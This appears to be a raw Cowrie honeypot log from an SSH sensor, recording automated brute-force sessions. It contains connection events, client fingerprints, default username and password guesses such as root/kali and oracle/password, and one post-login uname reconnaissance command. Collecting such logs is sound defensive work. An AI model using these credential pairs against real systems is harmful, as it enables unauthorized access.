{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53574,"dst_ip":"159.203.135.109","dst_port":22,"session":"8edd6d1530b5","protocol":"ssh","message":"New connection: 192.109.200.78:53574 (159.203.135.109:22) [session: 8edd6d1530b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:53.483853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:53.488964Z","src_ip":"192.109.200.78","session":"8edd6d1530b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:53.573247Z","src_ip":"192.109.200.78","session":"8edd6d1530b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42780,"dst_ip":"159.203.135.109","dst_port":22,"session":"03b364e17f59","protocol":"ssh","message":"New connection: 176.65.139.95:42780 (159.203.135.109:22) [session: 03b364e17f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:53.728201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:53.734732Z","src_ip":"176.65.139.95","session":"03b364e17f59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:53.822770Z","src_ip":"192.109.200.78","session":"8edd6d1530b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:53.828313Z","src_ip":"176.65.139.95","session":"03b364e17f59","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:54.164940Z","src_ip":"176.65.139.95","session":"03b364e17f59","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:54.399380Z","src_ip":"176.65.139.95","session":"03b364e17f59","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:54.402075Z","src_ip":"176.65.139.95","session":"03b364e17f59","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:54.485774Z","src_ip":"176.65.139.95","session":"03b364e17f59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:54.490488Z","src_ip":"176.65.139.95","session":"03b364e17f59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:54.913278Z","src_ip":"192.109.200.78","session":"8edd6d1530b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53590,"dst_ip":"159.203.135.109","dst_port":22,"session":"26e8c343f80b","protocol":"ssh","message":"New connection: 192.109.200.78:53590 (159.203.135.109:22) [session: 26e8c343f80b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:57.894416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:57.900071Z","src_ip":"192.109.200.78","session":"26e8c343f80b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:57.987562Z","src_ip":"192.109.200.78","session":"26e8c343f80b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:58.234986Z","src_ip":"192.109.200.78","session":"26e8c343f80b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:59.321202Z","src_ip":"192.109.200.78","session":"26e8c343f80b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":39424,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ce9e4faf7f7","protocol":"ssh","message":"New connection: 176.65.139.95:39424 (159.203.135.109:22) [session: 3ce9e4faf7f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:59.748470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:59.757879Z","src_ip":"176.65.139.95","session":"3ce9e4faf7f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:59.840732Z","src_ip":"176.65.139.95","session":"3ce9e4faf7f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:00.117442Z","src_ip":"176.65.139.95","session":"3ce9e4faf7f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:01.353708Z","src_ip":"176.65.139.95","session":"3ce9e4faf7f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48498,"dst_ip":"159.203.135.109","dst_port":22,"session":"22b86802487a","protocol":"ssh","message":"New connection: 192.109.200.78:48498 (159.203.135.109:22) [session: 22b86802487a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:02.254484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:02.262762Z","src_ip":"192.109.200.78","session":"22b86802487a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:02.341374Z","src_ip":"192.109.200.78","session":"22b86802487a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:02.668699Z","src_ip":"192.109.200.78","session":"22b86802487a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:03.754426Z","src_ip":"192.109.200.78","session":"22b86802487a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":39450,"dst_ip":"159.203.135.109","dst_port":22,"session":"255fd9e80fd1","protocol":"ssh","message":"New connection: 176.65.139.95:39450 (159.203.135.109:22) [session: 255fd9e80fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:06.092312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:06.103039Z","src_ip":"176.65.139.95","session":"255fd9e80fd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:06.182557Z","src_ip":"176.65.139.95","session":"255fd9e80fd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48502,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbe497cc58f1","protocol":"ssh","message":"New connection: 192.109.200.78:48502 (159.203.135.109:22) [session: fbe497cc58f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:06.410864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:06.416118Z","src_ip":"192.109.200.78","session":"fbe497cc58f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":55184,"dst_ip":"10.17.0.5","dst_port":22,"session":"d037ab8a6530","protocol":"ssh","message":"New connection: 177.54.62.66:55184 (10.17.0.5:22) [session: d037ab8a6530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:06.426347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:06.432961Z","src_ip":"177.54.62.66","session":"d037ab8a6530","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:06.501850Z","src_ip":"192.109.200.78","session":"fbe497cc58f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:06.513965Z","src_ip":"176.65.139.95","session":"255fd9e80fd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:06.567808Z","src_ip":"177.54.62.66","session":"d037ab8a6530","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:06.760902Z","src_ip":"192.109.200.78","session":"fbe497cc58f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user12","password":"123456","message":"login attempt [user12/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:07.123445Z","src_ip":"177.54.62.66","session":"d037ab8a6530","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:07.616885Z","src_ip":"176.65.139.95","session":"255fd9e80fd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:07.920353Z","src_ip":"192.109.200.78","session":"fbe497cc58f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:08.257874Z","src_ip":"177.54.62.66","session":"d037ab8a6530","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34782,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea7aa6179d99","protocol":"ssh","message":"New connection: 192.109.200.78:34782 (159.203.135.109:22) [session: ea7aa6179d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:24:11.725356Z"}
